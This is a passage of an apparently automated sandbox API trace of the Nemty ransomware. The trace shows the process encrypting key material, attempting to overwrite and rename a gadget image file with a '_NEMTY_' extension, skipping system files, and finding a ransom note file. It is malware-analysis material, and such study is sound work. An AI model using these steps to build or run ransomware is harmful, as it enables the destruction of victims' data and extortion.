WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_settings.png", lpUsedDefaultChar=0x0) returned 17 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0123.174] Sleep (dwMilliseconds=0x5) [0123.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd10adb0, dwHighDateTime=0x1d561e7)) [0123.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd10adb0, dwHighDateTime=0x1d561e7)) [0123.175] GetLastError () returned 0x5 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.176] GetLastError () returned 0x5 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0123.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0123.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0123.176] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0123.176] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="+u145hSdIswc6UW7fwoOBTWur6SxJP6dlPWpj+bNhhr1ITdvR/gkq/opD0b7/cgO\r\ns9JBtIc4lVRV5hcntvuu4e5etcmLLlseU0s005ZxIdDAbbyJT13j9ee4CvMMBDp8\r\n54fsj+fqvk2zYYtKJXaETD3cmc35bPKzUg9CuA2oQnlegkYD50Q0oBR8qjfgb9HS\r\nMQi8cIXECz1JokxLbB+ExdH0yjeEaZCXfo1GF8UwsDs7mjRVKyqJxWEMEaap/qNH\r\nAyeTkwuSzdEvAg4OkO89ucULAe+q8oxUXghgtOmmuh9TS3tBDb2ih3Y3WwPzXEMU\r\noFimLWugVV6Ig25NgJ3DZQ==\r\n", pcchString=0x653e91c) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0123.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0123.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.176] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.177] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0123.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.282] CloseHandle (hObject=0xffffffff) returned 0 [0123.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0123.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0123.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0123.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0123.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0123.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png._nemty_kgobjgd_")) returned 0 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.283] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e06e70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf7e06e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7e06e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0123.283] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0123.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0123.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0123.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0123.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0123.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340288 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.284] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e06e70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf7e06e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7e06e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0123.284] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0123.285] HeapFree (in: 